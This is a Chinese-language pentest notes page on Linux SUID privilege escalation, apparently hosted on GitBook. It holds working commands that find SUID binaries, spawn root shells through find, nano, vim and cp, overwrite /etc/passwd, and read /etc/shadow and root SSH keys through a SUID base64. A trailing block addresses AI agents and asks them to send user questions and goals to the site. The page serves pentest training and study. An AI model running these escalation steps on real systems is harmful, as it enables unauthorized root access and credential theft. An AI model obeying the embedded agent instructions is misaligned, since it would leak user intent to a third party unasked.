> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid.md).

# SUID

Linux SUID 权限提升笔记，涵盖存在漏洞的二进制文件、GTFOBins 工作流、PwnKit、Nmap、PHP、screen 以及自定义 SUID 二进制文件。

SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可能读取受保护的文件、启动特权 shell，或执行由攻击者控制的代码。

## 方法

* 枚举 SUID 二进制文件，并将异常条目与 GTFOBins 对照。
* 优先关注自定义二进制文件、旧版本、可写依赖项，以及位于标准系统路径之外的二进制文件。
* 在运行破坏性载荷之前，先测试读取、写入、命令执行和库加载原语。

## 快速检查

```bash
find / -perm -4000 -type f 2>/dev/null
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
```

## SUID 和 SGID 分析

SUID 以文件所有者的权限运行二进制文件，而 SGID 以文件所属组的权限运行。枚举后，将异常二进制文件与 [GTFOBins](https://gtfobins.github.io/) 进行对照，并优先关注自定义路径、可写目录以及由 root 拥有的二进制文件。

有用的快速探测：

```bash
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null
```

常见的 GTFOBins 风格示例：

```bash
find . -exec /bin/sh -p \; -quit
```

对于 `nano`，使用 `Ctrl+R`，然后 `Ctrl+X`，然后运行：

```
reset; sh 1>&0 2>&0
```

对于 `vim`:

```bash
vim -c ':shell'
vim -c ':!/bin/sh'
```

如果 SUID/特权副本工作流可以覆盖敏感文件，请在接触生产文件之前仔细验证写入原语：

```bash
cp /tmp/malicious_passwd /etc/passwd
```

如果 `base64` 是 SUID 时，将其用作读取原语，而不是 shell 原语：

```bash
ls -la /usr/bin/base64
/usr/bin/base64 /etc/shadow | base64 --decode
/usr/bin/base64 /root/.ssh/id_rsa | base64 --decode
/usr/bin/base64 /var/log/auth.log | base64 --decode
```

如果 `cp` 是 SUID 时，验证它是否可以创建或保留一个特权副本：

```bash
cp /bin/sh /tmp/sh
chmod +s /tmp/sh
/tmp/sh -p
```

值得检查的常见 SUID/SGID 二进制文件：

| 二进制文件                                               | 检查原因                          |
| --------------------------------------------------- | ----------------------------- |
| `sudo` / `su`                                       | 直接的权限边界工具。                    |
| `passwd`, `chsh`, `newgrp`, `gpasswd`               | 账户和组修改辅助工具。                   |
| `位于`                                                | 计划任务命令执行。                     |
| `mount`, `umount`                                   | 文件系统访问和挂载选项。                  |
| `pkexec`                                            | Polkit 辅助工具，历史上受 PwnKit 影响。   |
| `base64`                                            | 读取受保护文件并在本地解码。                |
| `cp`                                                | 在权限允许时复制或覆盖文件。                |
| `查找`, `nano`, `vim`, `less`, `more`, `bash`, `dash` | GTFOBins 风格的 shell、读取或文件写入原语。 |
| `nmap`                                              | 旧式交互模式或脚本执行路径。                |

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID pkexec / PwnKit</h4></td><td>SUID（Pkexec）Linux 权限提升笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/suid/suid-pkexec-linux-privilege-escalation.md">SUID（Pkexec）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Base64</h4></td><td>SUID（Base64）Linux 权限提升笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/suid/suid-base64-linux-privilege-escalation.md">SUID（Base64）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID PHP</h4></td><td>SUID（PHP）Linux 权限提升笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/suid/suid-php-linux-privilege-escalation.md">SUID（PHP）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID 核心转储 /opt/count</h4></td><td>SUID - 内存转储（/opt/count）Linux 权限提升笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md">SUID Core Dump /opt/count - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID 缺失文件</h4></td><td>SUID 二进制文件（缺失文件）Linux 权限提升笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/suid/suid-missing-file-linux-privilege-escalation.md">SUID 缺失文件 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID screen</h4></td><td>SUID（screen）Linux 权限提升笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/suid/suid-screen-linux-privilege-escalation.md">SUID screen - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Nmap</h4></td><td>SUID（Nmap）Linux 权限提升笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/suid/suid-nmap-linux-privilege-escalation.md">SUID（Nmap）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID 备份二进制文件</h4></td><td>SUID 二进制文件（备份）Linux 权限提升笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/suid/suid-backup-binary-linux-privilege-escalation.md">SUID 二进制文件（备份）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Enlightenment</h4></td><td>SUID（Enlightenment）Linux 权限提升笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/suid/suid-enlightenment-linux-privilege-escalation.md">SUID（Enlightenment）– Linux 权限提升</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/suid.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
